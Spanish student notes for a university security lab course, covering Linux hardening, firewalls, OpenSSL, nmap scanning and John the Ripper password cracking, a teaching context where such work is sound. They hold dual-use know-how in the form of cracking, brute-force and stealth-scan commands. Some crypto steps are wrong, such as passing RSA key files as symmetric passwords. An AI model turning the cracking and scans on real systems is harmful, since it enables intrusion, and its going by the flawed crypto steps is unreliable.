0% encontró este documento útil (0 votos)
22 vistas62 páginas

Ejercicios de Seguridad en Sistemas Linux

Cargado por

Sara Fdez.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
22 vistas62 páginas

Ejercicios de Seguridad en Sistemas Linux

Cargado por

Sara Fdez.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

SSI Guión

Contenido
Práctica 1 – Bloque 1 ................................................................................... 5
Ejercicio L1B1_LOGIN: Entrar en sesión y actualizar la máquina
virtual ......................................................................................................... 5
Ejercicio L1B1_USER: Crear un usuario adecuado ............................ 5
Ejercicio L1B1_USERCHG: Cambiar entre usuarios correctamente ... 5
Práctica 1 – Bloque 2 .................................................................................. 6
Ejercicio L1B2_SSH: Instalar un servidor OpenSSH ......................... 6
Ejercicio L1B2_UFW: Habilitar el firewall .......................................... 6
Ejercicio L1B2_LYNIS: Evaluar la configuración de seguridad de la
máquina virtual base: Lynis ..................................................................... 7
Ejercicio L1B2_NMAP: Enumeración básica con nmap .................. 8
Práctica 1 – Bloque 3 .................................................................................. 9
Ejercicio L1B3_PWD: Poner una contraseña adecuada .................. 9
Ejercicio L1B3_MALSCAN: Habilitar el software de escaneo de
malware / rootkits .................................................................................... 9
Práctica 2 – Bloque 1 ................................................................................ 10
Práctica 2 – Bloque 2 ................................................................................ 11
Ejercicio L2B2_CENSYS: Censys ....................................................... 13
Práctica 3 – Bloque 1 ................................................................................ 15
Práctica 3 – Bloque 2 ................................................................................ 16
Práctica 3 – Bloque 3 ................................................................................ 18
Práctica 4 – Bloque 1 ................................................................................ 19
Práctica 4 – Bloque 2 ............................................................................... 21
Práctica 4 – Bloque 3 ............................................................................... 22
⚒ Ejercicio L4B3_DSIG: Firmas digitales para integridad ................... 22
⚒ Ejercicio L4B3_CERTSIGNPDF: Firmar un PDF con un certificado
autogenerado ......................................................................................... 23
Práctica 4 – Bloque 4 ............................................................................... 23
⚒ Ejercicio L4B4_CERTSSH: SSH sin contraseña ................................. 23
⚒ Ejercicio L4B4_WATERMARK: Marcas de agua ............................... 23
⚒ Ejercicio L4B4_META: Metadatos ...................................................... 23
Práctica 5 – Bloque 1 ................................................................................ 24
⚒ Ejercicio L5B4_SYSSTAT: Instalar sysstat para ver el consumo de
recursos ................................................................................................... 24
Práctica 6 – Bloque 1 ................................................................................ 24
Práctica 6 – Bloque 2 ............................................................................... 24
Práctica 6 – Bloque 3 ............................................................................... 24
Práctica 7 – Bloque 1 ................................................................................ 25
⚒ Ejercicio L7B1_FWZONES: Administración de zonas con firewalld 25
⚒ Ejercicio L7B1_FWBLOCK: Bloqueo de direcciones IP y redes con
firewalld ................................................................................................... 26
⚒ Ejercicio L7B1_FWFORWARD: Reenvío de puertos en firewalld .... 28
Práctica 7 – Bloque 2................................................................................ 29
⚒ Ejercicio L7B2_DNSPI: Protección de conexiones salientes: Filtrado
de DNS con PiHole ................................................................................. 29
Práctica 7 – Bloque 3................................................................................ 32
⚒ Ejercicio L7B3_IDSMALTRAIL: Instalación y prueba del IDS Maltrail
.................................................................................................................. 32
Práctica 8/9 – Bloque 1............................................................................. 32
⚒ Ejercicio L89B1_NMAPSTART: Una simple “puesta en marcha” .... 32
Práctica 8/9 – Bloque 2 ............................................................................ 34
⚒ Ejercicio L89B2_ADVDISC: Tipos de descubrimiento de hosts
avanzados de NMap ............................................................................... 34
⚒ Ejercicio L89B2_SCAN: Tipos de escaneo NMap y evasión de
firewalls básica ....................................................................................... 37
⚒ Ejercicio L89B2_ADVSCAN: Ejemplos (más) avanzados de NMap 38
⚒ Ejercicio L89B2_SILENTDETECT: Detección de tipo de sistema
operativo sin "ruido” ............................................................................... 39
⚒ Ejercicio L89B2_SCANOUTPUT: Formatos de salida NMap ............ 39
Práctica 8/9 – Bloque 3 ............................................................................ 39
⚒ Ejercicio L89B3_NSE: NMap Scripting Engine (NSE) ...................... 39
⚒ Ejercicio L89B3_INFOGAT: Técnicas de recopilación de información
con NSE ................................................................................................... 40
⚒ Ejercicio L89B3_HTTPINFOGAT: Recopilación de información HTTP
con NSE ................................................................................................... 40
Práctica 8/9 – Bloque 4............................................................................ 41
⚒ Ejercicio L89B4_SCRIPTSCAN: Escaneando en busca de archivos
concretos ................................................................................................. 41
⚒ Ejercicio L89B4_JSSCAN: Endpoints de servicios en archivos
JavaScript ................................................................................................ 42
⚒ Ejercicio L89B4_S3SCAN: Buckets de Amazon S3 .......................... 42
Práctica 10 – Bloque 1 ............................................................................... 43
⚒ Ejercicio L10B1_REVPROXY: Apache 2 instalado como un proxy
inverso ..................................................................................................... 43
Práctica 10 – Bloque 2 .............................................................................. 44
⚒ Ejercicio L10B2_WAF: Instalación de un WAF .................................. 44
⚒ Ejercicio L10B2_WAFPROT: WAF contra ataques web ................... 46
Práctica 10 – Bloque 3 .............................................................................. 46
⚒ Ejercicio L10B3_SASTSCA: Herramienta de detección automatizada
de vulnerabilidades en aplicaciones SonarQube (SAST, con módulo
SCA opcional) .......................................................................................... 46
⚒ Ejercicio L10B3_DAST: Uso de un DAST contra una aplicación ...... 48
Práctica 11 – Bloque 1 ................................................................................ 48
⚒ Ejercicio L11B1_NMAPMSF: NMap y Metasploit Framework (MSF) 48
⚒ Ejercicio L11B1_DIRB: Enumerar posibles archivos ocultos con
información interesante (T1190. Exploit Public-Facing Application) . 49
⚒ Ejercicio L11B1_SMB: Exfiltración a través de directorios
compartidos por SMB (T1190. Exploit Public-Facing Application) ..... 50
⚒ Ejercicio L11B1_CEWL: Diccionarios de contraseñas de palabras
comunes contra objetivos concretos (1078. Valid Accounts) ............. 51
⚒ Ejercicio L11B1_NMAPBRUTE: Fuerza bruta en línea con Nmap
(1078. Valid Accounts) ............................................................................ 52
⚒ Ejercicio L11B2_NETCAT: Netcat como herramienta de escucha
(TA1059. Command and Scripting Interpreter) .................................... 52
⚒ Ejercicio L11B2_BINDSHELL: Bind shell con netcat (TA1059.
Command and Scripting Interpreter) .................................................. 53
⚒ Ejercicio L11B2_REVERSESHELL: Reverse shell con netcat (TA1059.
Command and Scripting Interpreter) .................................................. 54
⚒ Ejercicio L11B2_REVERSESHELLNONC: Reverse shell sin netcat
(TA1059. Command and Scripting Interpreter) .................................... 54
⚒ Ejercicio L11B2_SEARCHPLOIT: Searchploit (T1203. Exploitation for
Client Execution) .................................................................................... 54
⚒ Ejercicio L11B3_GTFOBINS: GTFOBins para exfiltración de datos .. 55
Práctica 12/13 – Bloque 1 .......................................................................... 56
Ejercicio L12B1_METERPRETER: Meterpreter para explotación
(T1569. System Services)......................................................................... 56
Ejercicio L12B1_MULTIHANDLER: Payloads con msfvenom y
multi/handler .......................................................................................... 58
Práctica 12/13 – Bloque 2 ......................................................................... 60
Ejercicio L12B2_CRONEXFIL: Escalada de privilegios a través de
trabajos cron: Exfiltración de información privada (T1053. Scheduled
Task/Job) ................................................................................................. 60
Práctica 12/13 – Bloque 3 ......................................................................... 61
Ejercicio L12B3_RSHELLEXIT: Romper restricciones y ocultar
actividades (T1548. Abuse Elevation Control Mechanism) ................. 61
Ejercicio L12B3_SUDOEXE: Identificación de programas sudo
(T1548. Abuse Elevation Control Mechanism) ..................................... 61
Ejercicio L12B3_VALIDACC: Generar una contraseña válida para un
usuario de Linux (T1078. Valid Accounts) ............................................. 61
Ejercicio L12B3_SUDOSCALE: Escalar privilegios a través de
programas sudo (T1548. Abuse Elevation Control Mechanism) ........ 61
Ejercicio L12B3_SUIDEXE: Identificación de programas SUID
(T1548. Abuse Elevation Control Mechanism) ..................................... 61
Ejercicio L12B3_SUIDSCALE: Escalada de privilegios a través de
programas SUID (T1548. Abuse Elevation Control Mechanism) ........ 62
Ejercicio L12B3_INSPECTSCALE: Escalada de privilegios potencial
a través de técnicas de inspección ejecutables (T1078. Valid
Accounts) ................................................................................................ 62
Práctica 1 – Bloque 1

⚒️ Ejercicio L1B1_LOGIN: Entrar en sesión y actualizar la máquina virtual


Actualizar

sudo apt update


sudo apt full-upgrade
Para ahorrar espacio en disco (potencialmente), también puedes
(opcionalmente) ejecutar
sudo apt autoremove
sudo apt autoclean
Para instalar programas podemos usar snap
sudo snap refresh

⚒️ Ejercicio L1B1_USER: Crear un usuario adecuado


Para crear un usuario

sudo adduser <nombre>

Comando usermod para agregar el usuario al grupo sudo. De forma


predeterminada en Ubuntu, los miembros del grupo sudo tienen privilegios
sudo.

sudo usermod –aG sudo <user>

Para mirar a que grupo pertenece un usuario: groups <user>

⚒️ Ejercicio L1B1_USERCHG: Cambiar entre usuarios correctamente


su – <nombre>
Práctica 1 – Bloque 2

⚒️ Ejercicio L1B2_SSH: Instalar un servidor OpenSSH

Ssh user@server

Ejemplo: ssh vagrant@[Link] (en el caso de las prácticas)

Si el servicio ssh no funciona, debemos editar el archivo


“/etc/ssh/sshd_config” y permitir la autenticación de contraseñas por ssh.
PasswordAuthentication yes (Línea 57)

⚒️ Ejercicio L1B2_UFW: Habilitar el firewall


Si estás utilizando SSH para acceder a tu máquina, PRIMERO DEBES abrir el
puerto SSH ANTES de habilitar el firewall, o te bloquearás a ti mismo.
Para habilitar el firewall usamos: sudo ufw enable

Para comprobar el estado del firewall: sudo ufw status

Debemos permitir los servicios http y https:

sudo ufw allow http

sudo ufw allow https

⚒️ Ejercicio L1B2_LYNIS: Evaluar la configuración de seguridad de la


máquina virtual base: Lynis
Lynis audit system

Se puede añadir --quick para que no haya pausas


⚒️ Ejercicio L1B2_NMAP: Enumeración básica con nmap
Podemos usar nmap para verificar que un host esta vivo: nmap <IP o dominio>

Ej: nmap [Link]


Práctica 1 – Bloque 3

⚒️ Ejercicio L1B3_PWD: Poner una contraseña adecuada


Para cambiar la contraseña: passwd <contraseña>

⚒️ Ejercicio L1B3_MALSCAN: Habilitar el software de escaneo de malware /


rootkits
Chkrootkit

Instalamos chkrootkit: sudo apt install chkrootkit

Y lo ejecutamos: sudo chkrootkit

Rkhunter

Instalar Rkhunter: sudo apt install rkhunter

Ejecutar: sudo rkhunter -c

ClamAV

Instalar clamAV: sudo apt install clamav

Actualización de las firmas: sudo freshclam

Si la actualización falla pq hay un archivo bloqueado ejecutar: sudo service


clamav-freshclam stop

Escanear Directorio: sudo clamscan -r -I <directory>

⚒️ Ejercicio L1B3_LYNISREPORT: Informes de Lynis


Para poner bonitos y legibles los informes de Lynis

Instalamos: sudo apt install kbtin

Ejecutamos: sudo lynis audit system | ansi2html > [Link]

⚒️ Links

VirusTotal ([Link]

Google Safe Browsing ( [Link]


browsing/search)

Comprobación de vulnerabilidades

CVE ( [Link] ) ([Link]

NextDNS ([Link]

Práctica 2 – Bloque 1
Se necesita instalar lo siguiente para esta práctica: sudo apt install gnome-
keyring gnupg2 pass

⚒️ Ejercicio L2B1_ROBOTS: Fichero [Link]


Para acceder al archivo [Link] de una web simplemente ponemos en el
buscador: <URL de la web>/[Link]

Las URLs bajo la palabra “Disallow” no serán indexeadas

Práctica 2 – Bloque 2

⚒️ Ejercicio L2B2_SHODAN: Shodan


⚒️ Ejercicio L2B2_CENSYS: Censys

Práctica 2 – Bloque 3

⚒️ Ejercicio L2B3_DOMINIOS: Descubrimiento de subdominios

Esto lo hacemos con la infraestructura del lab2

Instalamos: sudo apt install knockpy

Para hacer un escaneo: knockpy -d<objetivo>

Escaneo con dnsenum: dnsenum <objetivo>


Ej: usamos el dominio “[Link]” y buscamos sus subdominios.

Ejercicio L2B3_NMAPSCAN: Escaneos en LAN con nmap

Si nos da problemas con los permisos la ejecutar nmap usamos el siguiente


comando: sudo setcap cap_net_raw+ep $(which nmap)

Ejecutamos el comando: sudo nmap –sL <dirección de la red>

Ej: sudo nmap –sL [Link]/24


Práctica 3 – Bloque 1
⚒ Ejercicio L3B1_STEGO: Uso de esteganografía con steghide
Las imágenes se descargan con wget, si no te deja haz wget <link> --no-
check-certificate

Ejemplo básico: steghide embed -cf [Link] -ef [Link]

Para sacar el secreto: steghide extract -sf [Link]

⚒ Ejercicio L3B1_OBFUSCATE: Código ofuscado para que sea difícil de


entender

[Link]

[Link]

[Link]

[Link]

[Link]

Práctica 3 – Bloque 2
IMPORTANTE: Para poder acceder a archivos de los contenedores desde
vagrant enviar los archivos al directorio shared:

cp fichero /shared/fichero

⚒ Ejercicio L3B2_SYMCRYPT: Cifrar un archivo utilizando un algoritmo de


clave simétrica fuerte

Openssl para cifrado simétrico


El archivo se encripta usando el comando:
openssl enc –aes-128-ecb –in [Link] -out
[Link] - pass pass:<LaContraseña>

⚒ Ejercicio L3B2_SYMCRYPT: Descifrar un archivo que utiliza cifrado


simétrico

El archivo se desencripta usando el comando:

Openssl enc –d –aes-128-ecb –in [Link] -out [Link]

⚒ Ejercicio L3B2_CIPHMODES: Probar los modos de cifrado ECB y CBC del


algoritmo simétrico robusto de cifrado AES

Instalamos las utilidades necesarias:

sudo apt install graphicsmagick-imagemagick-compat

Convertimos la imagen que descargamos de formato pdf a ppm:

convert [Link] [Link]

Separamos la cabecera del cuerpo de la imagen:

head -n 3 [Link] > [Link]

tail -n +4 [Link] > [Link]

Unimos la cabecera con el cuerpo encriptado (se encripta igual que el


ejercicio anterior):

cat [Link] [Link] > [Link]

⚒ Ejercicio L3B2_DISKCIPH: Cifrado de discos

Instalamos las utilidades necesarias:

sudo apt install ecryptfs-utils

Creamos la carpeta que vamos a encriptar en el directorio home

mount -t ecryptfs </ruta/de/carpeta> </ruta/de/carpeta>


• Elije un algoritmo de cifrado simétrico apropiado de acuerdo con la
teoría.
• Elije 32 bytes para la clave
• Elije No en la opción plaintext passthrough.
• Elije No a cifrar nombres de archivo (aunque este es un detalle menor)
• Responde Yes a las dos preguntas siguientes (aparecen si este es el
primer uso de cifrado de disco en el sistema operativo, que debería)

Para desmontar: umount /ruta

Práctica 3 – Bloque 3
⚒ Ejercicio L3B3_SSLCRACK: John the Ripper para romper OpenSSL

sudo apt install john

/usr/share/john/[Link] [Link] > [Link]

Para comprobar que se ha extraido correctamente la hash y que coincide


con el formato admitido por john:

john --format=openssl-enc --wordlist=/usr/share/wordlists/[Link] [Link]


john --wordlist=/wordlist/[Link] [Link]

john --show [Link]

⚒ Ejercicio L3B3_PASS: John the Ripper + contraseñas de usuario +


generador de listas de palabras crunch

Crunch 10 10 –t test%%%... -o output

El símbolo % significa "cualquier número".

El símbolo @ significa "cualquier letra minúscula".

Si tecleas una cadena de caracteres, se tratará como una constante (las


claves generadas tendrán esa cadena de caracteres en la posición que
indiques sí o sí).

⚒ Ejercicio L3B3_BRUTE: "Fuerza bruta pura" con John the Ripper

Elimina el archivo [Link] que está en el directorio .john

john --incremental --max-length=4 [Link]

--max-length=num (para limitar el número de permutaciones que puede


hacer john)

Práctica 4 – Bloque 1
⚒ Ejercicio L4B1_KEYPAIR: Generar un par de claves (pública – privada)
openssl genrsa –out pub_priv.key 4096

openssl rsa –in pub_priv.key -out [Link]

openssl ecparam –name secp224k1 –genkey –out [Link]

⚒ Ejercicio L4B1_ASSYMCRYPT: Uso del cifrado asimétrico para enviar


mensajes confidenciales

Enviar a ubuntu la clave pública de Kali

scp clavePublica ip:.

cp archivo /shared/archivo

Encriptar con la clave PUBLICA DE KALI un mensaje desde ubuntu

openssl enc –aes-128-ecb –in [Link] -out


[Link] - pass file:<ClavePublicaKali>

Enviar el mensaje encriptado a kali

Desde kali desencriptarlo con el par de claves publica privada

openssl enc –d –aes-128-ecb –in [Link] -out


[Link] -pass file:<ClavePrivadaKali>
Práctica 4 – Bloque 2
⚒ Ejercicio L4B2_KDFPASS: Usar un KDF como contraseña para un cifrado
simétrico

openssl enc -pbkdf2 -aes-128-ecb –k <contraseña> –P (genera clave aleatoria


KDF e imprime el resultado en el terminal y una salt)

Esto sirve para cifrar como en la práctica 3 pero en la –k ponemos la clave


obtenida

⚒ Ejercicio L4B2_REALASSYMCRIPT: Entender cómo funciona en la vida real


el cifrado asimétrico

Primero generar una hash aleatoria a partir de una contraseña desde kali

Openssl enc –pbkdf2 –aes-128-ecb –k <password> –P >[Link]

Después cifrar la hashcon openssl y la clave pública de ubuntu.

openssl enc –aes-128-ecb –in [Link] -out [Link] - pass


file:<ClavePublicaUbuntu>

Enviarle a ubuntu hash cifrada

Scp o el metodo de sara

Desde ubuntu descifrar la hash cifrado ([Link]) y encriptar un mensaje


con esta

openssl enc –d –aes-128-ecb –in [Link] -out [Link] -


pass file:<ClavePrivadaUbuntu>

openssl enc –aes-128-ecb –in [Link] -out [Link] - pass


file:[Link]

Enviar a kali en mensaje encriptado

Scp o el metodo magico de sara

Kali lo desencripta

openssl enc –d –aes-128-ecb –in [Link] -out


[Link] - pass file:[Link]

Y bum magia negra


Práctica 4 – Bloque 3
⚒ Ejercicio L4B3_AE: Uso de cifrado autenticado (Authenticated Encryption o
AE)

Clave robusta creada con un KDF:

Openssl enc –pbkdf2 –aes-128-ecb –k <password> –P >[Link]

Generar un iv:

openssl rand -hex 16

Primero generar una hash aleatoria a partir de una contraseña con iv

openssl enc -aes-128-cbc -k secret -P –pbkdf2

Vamos a cyberchef y escogemos AES Encrypt y AES Decrypt y llenamos con


los datos correspondientes.

⚒ Ejercicio L4B3_DSIG: Firmas digitales para integridad


Desde Ubuntu firmar un fichero con su clave privada:
openssl dgst -sha256 -sign pub_priv.key -out [Link] [Link]

Enviar a Kali la clave pública de Ubuntu, el fichero [Link] y el [Link]

Desde kali verificar que el fichero no ha sido modificado:

openssl dgst -sha256 -verify public_key.key-signature [Link]


⚒ Ejercicio L4B3_CERTSIGNPDF: Firmar un PDF con un certificado
autogenerado
openssl req -newkey rsa:2048 -nodes -keyout [Link] -x509 -days 365 -
out [Link]

Generar un .pfx:
openssl pkcs12 -export -out [Link] -inkey [Link] -in [Link]

Práctica 4 – Bloque 4

⚒ Ejercicio L4B4_CERTSSH: SSH sin contraseña


Desde ubuntu:

ssh-keygen -t rsa (dejar todo por defecto)

Desde kali:

ssh-copy-id -i ~/.ssh/id_rsa.pub usuario@direccion_ip_contenedor_ubuntu

Establecer conexión:
ssh usuario@direccion_ip_contenedor_ubuntu

⚒ Ejercicio L4B4_WATERMARK: Marcas de agua


Una línea:

convert -density 150 -fill "rgba(255,0,0,0.25)" - gravity Center -pointsize 80 -


draw "rotate -45 text 0,0 "

Dos líneas:

convert -density 150 -fill "rgba(255,0,0,0.50)" -pointsize 15 -draw "rotate -15 text
0,200 ''" -draw "rotate -15 text -25,260 ''"

⚒ Ejercicio L4B4_META: Metadatos


Todos los metadatos actuales: exiftool <imagen>

Eliminar todos los metadatos: exiftool -all= <imagen>


Práctica 5 – Bloque 1

⚒ Ejercicio L5B4_SYSSTAT: Instalar sysstat para ver el consumo de recursos


Sudo apt install sysstat

Comandos disponibles:

iostat informa de estadísticas de CPU y de entrada/salida para dispositivos


de bloque y particiones.

mpstat informa de estadísticas individuales o combinadas relacionadas con


el procesador.

pidstat informa de estadísticas para tareas (procesos) de Linux: E/S, CPU,


memoria, etc.

tapestat informa de estadísticas de unidades de cinta conectadas al sistema.

cifsiostat informa de estadísticas de CIFS (Common Internet File System).

Práctica 6 – Bloque 1
scan-workbench

Para usar oscap sin GUI

sudo oscap xccdf eval --profile xccdf_org.ssgproject.content_profile_firefox --


results [Link] --report [Link] [Link]

Práctica 6 – Bloque 2
Vete a los perfiles de seguridad descargados, accede a la carpeta ansible y
localiza el archivo .yml correspondiente al perfil CIS • Edita este .yml y cambia
hosts: all por hosts: localhost • Ejecuta sudo ansible-playbook ubuntu1804-
[Link]

Práctica 6 – Bloque 3
Wazuh

Una de las grandes ventajas de usar Wazuh es que viene con todo un
sistema automatizado de gestión de auditorías con CIS Benchmarks
integrado. No obstante, para que podamos usarlo de la forma más efectiva,
conviene que modifiquemos el fichero de configuración del OSSEC del
agente en el sistema monitorizado para activar la integración con la
herramienta de evaluación CIS-CAT que mencionamos en la teoría. No te
olvides reiniciar el agente después de hacer el cambio.
Práctica 7 – Bloque 1

⚒ Ejercicio L7B1_FWZONES: Administración de zonas con firewalld


Debemos desactivar primero ufw: sudo ufw disable

Tenemos que instalar firewalld: sudo apt install firewalld firewall-config

docker: Una zona especial que inicialmente contiene todas las redes creadas
por nuestros contenedores Docker. La tenemos porque se crea cuando se
instala Docker en el sistema.

• Zonas donde las conexiones entrantes están prohibidas y solo se permiten


conexiones salientes

o drop: Todas las conexiones entrantes se eliminan sin ninguna notificación

o block: Todas las conexiones entrantes son rechazadas (se notifica al cliente)

• Zonas donde se permiten conexiones entrantes que previamente


autoricemos nosotros. Como puede verse, están pensadas para diferentes
situaciones y redes donde se puede encontrar la máquina que tiene firewalld
instalado

o public: Para uso en áreas públicas no confiables. No confía en otros


equipos de la red.

o external: Para uso en redes externas con enmascaramiento NAT habilitado,


cuando el sistema actúa como puerta de enlace o enrutador.

o internal: Para uso en redes internas, cuando el sistema actúa como puerta
de enlace
o enrutador. Los otros sistemas de la red son generalmente de confianza.

o dmz: Se utiliza para equipos ubicados en una zona desmilitarizada

o DMZ (Tema 5 de teoría), que tendrán acceso limitado al resto de su red.

o work: Utilizado para máquinas del trabajo. Otros equipos de la red son
generalmente de confianza.

o home: Utilizado para máquinas domésticas. Otros equipos de la red son


generalmente de confianza.

• Zonas donde no se restringe ninguna conexión

o trusted: Se aceptan todas las conexiones de red. Confía en todos los


equipos de la red.

Ahora tenemos que configurar el nuevo firewall: sudo firewall-config

Cambiamos el combobox de “configuration” a “permanent”

Si no aparece, agregamos la tarjeta de red enp0s3: sudo firewall-cmd --


zone=public --change-interface=enp0s3

Comprobamos que la zona “work” tenga ssh activado: sudo firewall-cmd --


zone=work --list-all

Si se ve “services: ssh” es que está activado.

Si no esta habilitado ssh en la zona “work”, lo activamos: sudo firewall-cmd --


zone=work --add-service=ssh –permanent.

⚒ Ejercicio L7B1_FWBLOCK: Bloqueo de direcciones IP y redes con firewalld


Comprobamos la conexión: ping <ip>

Vamos a la VM y localizamos la tarjeta: ip addr show

Usamos “sudo firewall-config" y ponemos la zona de red en public haciendo


doble clic en la conexion y cambiando la zona.

Vamos a la seccion “Rich rules” en la zona public y añadimos una nueva


regla.
Ahora desde “network_attack” no nos podemos conectar por ssh a la ip
[Link]: ssh vagrant@[Link]

Si bloqueamos toda la red:


Seguimos sin poder conectarnos con ssh.

Si quitamos la regla podremos volver a conectarnos por ssh.

⚒ Ejercicio L7B1_FWFORWARD: Reenvío de puertos en firewalld

Para saber la interfaz de red de una ip concreta: ip route get <ip>

Añades la tarjeta de red de firefox a public y la del sies a la zona dmz

Después haces una norma de redirección en la zona public


Práctica 7 – Bloque 2

⚒ Ejercicio L7B2_DNSPI: Protección de conexiones salientes: Filtrado de DNS


con PiHole
ejecuta el script run_pihole.sh

Asegúrate de que apache 2 no esté instalado sudo apt-get remove apache2

Acceder a [Link]/admin y a una web con publicidad ([Link])

Modificar el fichero /etc/[Link] cambiando la ip del nameServer por


[Link]

⚒ Ejercicio L7B2_FAIL2BAN: Protección de intentos de intrusión: Fail2Ban

sudo apt install fail2ban

archivo /etc/fail2ban/[Link] -> configuración por defecto

archivo /etc/fail2ban/[Link] para habilitar o deshabilitar las jails.

(Si el archivo [Link] no existe, créalo copiando [Link])

Cuando se activa una jail, los parámetros bantime, findtime y maxretry


definen cómo se desautoriza una IP. Un bantime negativo significa un
bloqueo permanente. Un host es bloqueado por una jail si activa sus
condiciones con éxito más de maxretry veces a lo largo de findtime
segundos.

fail2ban-client puede usarse para gestionar fail2ban a través de las siguientes


opciones:

start: inicia fail2ban

reload: Recarga la configuración de fail2ban

reload JAIL: Reemplaza la configuración actual de la jail especificada por la


que está en el archivo que se pasa

stop: Detiene fail2ban

status: muestra el estado actual de fail2ban y las jails activas (incluidos sus
nombres)

status JAIL: muestra el estado de la jail especificada. Es una opción muy


importante ya que también muestra cuántas veces se ha activado y las IPs
bloqueadas actualmente.

[sshd]

enabled = true

port = ssh

maxretry = 3 # Número máximo de intentos fallidos antes de bloquear


findtime = 10m # Ventana de tiempo en la que se cuentan los intentos
fallidos (10 minutos)

bantime = 24h # Tiempo de bloqueo (24 horas)

⚒ Ejercicio L7B2_PORTSENTRY: Protección de intentos de escaneo:


PortSentry como honeypot

sudo apt install portsentry

sudo service portsentry status


Modo básico (valores: "tcp", "udp"): Escucha una lista estática de puertos
predefinidos en el archivo de configuración. No utilizaremos este modo ya
que la presencia de la herramienta se puede detectar fácilmente.

Modo stealth avanzado (valores: "atcp", "audp"): Usa un raw socket para
detectar escaneos y así la herramienta no puede ser detectada fácilmente:
los puertos parecen tener el servicio "normal" en él, pero es portsentry quien
está escuchando y detectando actividad sospechosa.

Solo hacer log del tráfico sospechoso en /var/log/syslog (valor: "0") (valor por
defecto)

Bloquear a la máquina “infractora” (valor: "1")

Ejecutar un programa como respuesta (valor: "2").

sudo systemctl stop portsentry

sudo systemctl restart portsentry

Una vez hecho esto, abre el fichero /etc/default/portsentry y pon TCP_MODE


a "atcp" y UDP_MODE a "audp" para habilitar el modo stealth avanzado.

Reinicia portsentry y haz un análisis nmap simple desde cualquiera de los


contenedores de infraestructura de Lab 7 a la máquina host (nmap ).
Una vez finalizado el análisis, comprueba el contenido de /var/log/syslog para
ver si se han detectado los intentos de análisis.

Que se haga log con éxito de los intentos de escaneo es la condición para
terminar de configurar portsentry según lo previsto:

Abre /etc/portsentry/[Link] y cambia los valores de los parámetros


BLOCK_UDP y BLOCK_TCP a "1".

Reinicia portsentry y vuelve a realizar el mismo análisis.

Práctica 7 – Bloque 3

⚒ Ejercicio L7B3_IDSMALTRAIL: Instalación y prueba del IDS Maltrail


Instalar e iniciar sensor:

sudo apt-get install git python3 python3-dev python3-pip python-is-python3


libpcap-dev build-essential procps schedtool
sudo pip3 install pcapy-ng
git clone --depth 1 [Link]
cd maltrail
sudo python3 [Link]

Server:

[[ -d maltrail ]] || git clone --depth 1 [Link]


cd maltrail
python3 [Link]

[Link]

Credentials -> admin:changeme!

Práctica 8/9 – Bloque 1

⚒ Ejercicio L89B1_NMAPSTART: Una simple “puesta en marcha”


Estos escaneos de nmap son los más usados en escenarios comunes. Se
pueden especificar rangos de puertos, de IPs y redes (CIDR) en los siguientes
tipos de escaneo:

• Escaneado de múltiples objetivos: nmap ... . P. ej.: nmap [Link]


[Link] [Link]

• Escaneado de un rango de IPs: P. ej.: nmap [Link]-100

• Escaneado de una red completa: P. ej.: nmap [Link]/24

• Escaneado de una red completa excluyendo ciertos hosts: P. ej.: nmap


[Link]/24 --exclude [Link]
• Identificar el sistema operativo de las máquinas activas: P. ej.: nmap -O
[Link]/24

• Escanear sólo un rango de puertos: P. ej.: nmap -p 22-80 [Link]/24

Análisis rápido: nmap -- top-ports 20 –open

Si haces un archivo cuyo contenido sea un listado de IPs puedes hacer el


rastreo de ellas usando la opción -iL

p.e: nmap -p 22-80 –iL [Link]

El uso del parámetro -A te permite realizar detección de SO y servicios con


más detalle. Al mismo tiempo, lo combinamos con -T4 para hacer una
ejecución más rápida.

Por ejemplo: nmap -A –T4 <objetivo>

Detección de versiones de servicios: -sV: nmap –sV <objetivo>

Exploración lenta y detallada

sudo nmap -sS -A -sV -O –p – <objetivo>

• -sS: Utiliza un tipo de análisis TCP SYN, potencialmente más capaz de evadir
firewalls.

• -A: Detecta las versiones de servicios y sistema operativo, realiza un


traceroute y ejecuta algunos scripts de análisis para completar la
información que obtiene.

• -sV: Investiga puertos abiertos para determinar qué servicio y versión están
ejecutando.

• -O: Activa la detección de la versión y tipo del sistema operativo.

• -p -: Escanea un rango de puertos (- significa todos los puertos).

⚒ Ejercicio L89B1_PORTS: Tratar con puertos

Escanear rangos de puertos con –p

X,Y solo puertos X e Y

X-Y escanea puertos del X al Y

X- escanea del X al 65536

-Y escanea del 1 al X

Puedes utilizar protocolos concretos asociados a cualquier número de puerto


por utilizando letras (T: TCP, U: UDP, S: SCTP, P: IP).

P. e.: nmap -p U:53,11,13,T:22-25,80,443,8080 [Link]


• -F (Escaneo rápido): En lugar de 1000, escanea los 100 puertos más
utilizados, aleatoriamente

• -r: En lugar de utilizar un orden de puertos aleatorio, utiliza uno secuencial


ascendente

Práctica 8/9 – Bloque 2

⚒ Ejercicio L89B2_ADVDISC: Tipos de descubrimiento de hosts avanzados de


NMap
Para ejecutar un script --script=< nombre de script y parámetros>

Técnicas avanzadas:
⚒ Ejercicio L89B2_SCAN: Tipos de escaneo NMap y evasión de firewalls
básica
⚒ Ejercicio L89B2_ADVSCAN: Ejemplos (más) avanzados de NMap
Escaneo TCP SYN y UDP (requiere tener privilegios de root): puedes
combinar varias técnicas de análisis de la tabla anterior.

E. g.: nmap -sS -sU -Pn [Link].

El parámetro -Pn se salta el escaneo vía ping y asume que el host está “vivo”.
Esto puede ser útil cuando hay un firewall que podría estar impidiendo las
respuestas ICMP.

TCP Connect Scan (no requiere tener privilegios de root):

Ej.: nmap -sT [Link].

Desaconsejado. Como dijimos, trata de usar un escaneo más sigiloso primero


Análisis rápido (no requiere tener privilegios de root): nmap -T4 -F
[Link]. Usa opciones de temporización predefinidas para mejorar la
velocidad de escaneo y escanea solo 100 puertos (- F).

Las opciones de temporización de NMap aparecen en esta tabla.

Por defecto se utiliza T3. T0 es muy lento, pero también prácticamente


indetectable

Verbose: nmap -T4 -A -v [Link]. Con la opción -v añadida a la mayoría de


los escaneos se obtiene una mejor visión de lo que está haciendo NMap; para
algunos escaneos además da detalles adicionales que el informe de la salida
no proporciona

⚒ Ejercicio L89B2_SILENTDETECT: Detección de tipo de sistema operativo sin


"ruido”
ping -c 1 <objetivo>

